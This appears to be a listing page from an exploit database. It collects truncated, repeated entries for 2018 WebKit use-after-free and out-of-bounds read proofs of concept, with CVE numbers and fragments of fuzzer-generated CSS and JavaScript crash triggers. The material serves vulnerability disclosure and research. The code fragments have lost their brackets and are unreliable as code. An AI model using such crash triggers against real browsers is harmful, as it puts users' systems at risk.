WebKit - WebCore::InlineTextBox::paint Out-of-Bounds Read Exploit

Exploit for multiple platform in category dos / poc -webkit-logical-width: 1px; -webkit-perspective: 1px; function jsfuzzer var htmlvar00011 = document.getElementById"htmlvar00011"; var htmlvar00019 = document.getElementById"htmlvar00019"; var htmlvar00049 = document.getElementById"htmlvar00049";...

WebKit - WebCore::RenderTreeBuilder::removeAnonymousWrappersForInlineChildrenIfNeeded

Exploit for multiple platform in category dos / poc ::selection, input:focus, .class0, ul::first-letter -webkit-column-count: 85; float: left; function jsfuzzer var fuzzervars = ; try / / var00034 = document.getSelection; catche try var00034.setPositionhtmlvar00003; var var00043 catche try /...

Safari users: Where did your extensions go?

Safari 12 has brought with it some changes to how OSX handles browser extensions. At WWDC in June, Apple announced that Safari would block legacy extensions installed from outside the Extensions Gallery, which itself would now be deprecated. As a replacement, Safari will now rely on "app...

WebKit - WebCore::Node::ensureRareData Use-After-Free

WebKit - WebCore::Node::ensureRareData Use-After-Free .class1 -webkit-mask-box-image-source: urlfoo; function freememory var a; forvar i=0;i100;i++ a = new Uint8Array10241024; document.implementation.createHTMLDocument"doc"; function jsfuzzer try var00097 = document.createElement"source"; catche...

WebKit - WebCore::AXObjectCache::handleMenuItemSelected Use-After-Free

WebKit - WebCore::AXObjectCache::handleMenuItemSelected Use-After-Free function jsfuzzer var a; forvar i=0;i !-- ================================================================= ASan log: ================================================================= ==69238==ERROR: AddressSanitizer:...

WebKit - WebCore::SVGTextLayoutAttributes::context Use-After-Free

WebKit - WebCore::SVGTextLayoutAttributes::context Use-After-Free tref, feMerge, title inherit; float: right; none; 81em function jsfuzzer try var var00006 = htmlvar00002.getSVGDocument; catche try var var00162 = document.head; catche try htmlvar00015.setSelectionRange2,56; catche try...

WebKit - WebCore::InlineTextBox::paint Out-of-Bounds Read

WebKit - WebCore::InlineTextBox::paint Out-of-Bounds Read -webkit-logical-width: 1px; -webkit-perspective: 1px; function jsfuzzer var htmlvar00011 = document.getElementById"htmlvar00011"; var htmlvar00019 = document.getElementById"htmlvar00019"; var htmlvar00049 =...

WebKit - WebCore::SVGAnimateElementBase::resetAnimatedType Use-After-Free

WebKit - WebCore::SVGAnimateElementBase::resetAnimatedType Use-After-Free function eventhandler2 try var var00138 = svgvar00013.parentNode; catche try htmlvar00006.setAttribute"onfocusin", "eventhandler2"; catche try svgvar00001.aftervar00138; catche function eventhandler5 try...

WebKit WebCore::SVGAnimateElementBase::resetAnimatedType Use-After-Free

WebKit: Use-after-free in WebCore::SVGAnimateElementBase::resetAnimatedType CVE-2018-4314 There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on the ASan build of the latest WebKit source on OSX. PoC:...

WebKit WebCore::Node::ensureRareData Use-After-Free

WebKit: Use-after-free in WebCore::Node::ensureRareData CVE-2018-4306 There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on the ASan build of WebKit revision 233006 on OSX. PoC: ================================================================= .class1...

WebKit WebCore::AXObjectCache::handleMenuItemSelected Use-After-Free

WebKit: Use-after-free in WebCore::AXObjectCache::handleMenuItemSelected CVE-2018-4312 There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on the ASan build of WebKit revision 233006 on OSX. Note that accessibility features need to be enabled in order to...

WebKit WebCore::SVGTextLayoutAttributes::context Use-After-Free

WebKit: Use-after-free in WebCore::SVGTextLayoutAttributes::context CVE-2018-4318 There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on the ASan build of the latest WebKit source on OSX. PoC: ================================================================...

WebKit WebCore::SVGTRefElement::updateReferencedText Use-After-Free

WebKit: Use-after-free in WebCore::SVGTRefElement::updateReferencedText CVE-2018-4315 There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on the ASan build of WebKit revision 233006 on OSX. PoC:...

WebKit - 'WebCore::InlineTextBox::paint' Out-of-Bounds Read

-webkit-logical-width: 1px; -webkit-perspective: 1px; function jsfuzzer var htmlvar00011 = document.getElementById"htmlvar00011"; var htmlvar00019 = document.getElementById"htmlvar00019"; var htmlvar00049 = document.getElementById"htmlvar00049"; var htmlvar00005 =...

WebKit - 'WebCore::SVGTextLayoutAttributes::context' Use-After-Free

tref, feMerge, title inherit; float: right; none; 81em function jsfuzzer try var var00006 = htmlvar00002.getSVGDocument; catche try var var00162 = document.head; catche try htmlvar00015.setSelectionRange2,56; catche try var00162.replaceWithhtmlvar00022; catche Text !--...

WebKit - WebCore::RenderTreeBuilder::removeAnonymousWrappersForInlineChildrenIfNeeded Use-After-Free

WebKit - WebCore::RenderTreeBuilder::removeAnonymousWrappersForInlineChildrenIfNeeded Use-After-Free ::selection, input:focus, .class0, ul::first-letter -webkit-column-count: 85; float: left; function jsfuzzer var fuzzervars = ; try / / var00034 = document.getSelection; catche try...

WebKit WebCore::RenderMultiColumnSet::updateMinimumColumnHeight Use-After-Free

WebKit: Use-after-free in WebCore::RenderMultiColumnSet::updateMinimumColumnHeight CVE-2018-4323 There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on the ASan build of WebKit revision 233419 on OSX. The vulnerability has also been confirmed on Safari 11.1...

WebKit - 'WebCore::RenderTreeBuilder::removeAnonymousWrappersForInlineChildrenIfNeeded' Use-After-Free

::selection, input:focus, .class0, ul::first-letter -webkit-column-count: 85; float: left; function jsfuzzer var fuzzervars = ; try / / var00034 = document.getSelection; catche try var00034.setPositionhtmlvar00003; var var00043 catche try / newvarvar00104:Element / var var00104 = htmlvar00013;...

WebKit - 'WebCore::SVGAnimateElementBase::resetAnimatedType' Use-After-Free

function eventhandler2 try var var00138 = svgvar00013.parentNode; catche try htmlvar00006.setAttribute"onfocusin", "eventhandler2"; catche try svgvar00001.aftervar00138; catche function eventhandler5 try htmlvar00028.autofocus = true; catche try htmlvar00034.appendChildhtmlvar00006; catche !--...

WebKit - WebCore::RenderMultiColumnSet::updateMinimumColumnHeight Use-After-Free

WebKit - WebCore::RenderMultiColumnSet::updateMinimumColumnHeight Use-After-Free htmlvar00002, htmlvar00006 column-span: all; :root 1px; position: fixed; -webkit-column-width: 1px; .class2 text-indent: -webkit-shape-margin: 0px; -webkit-writing-mode: vertical-rl; '.' defselement, .class8 display:...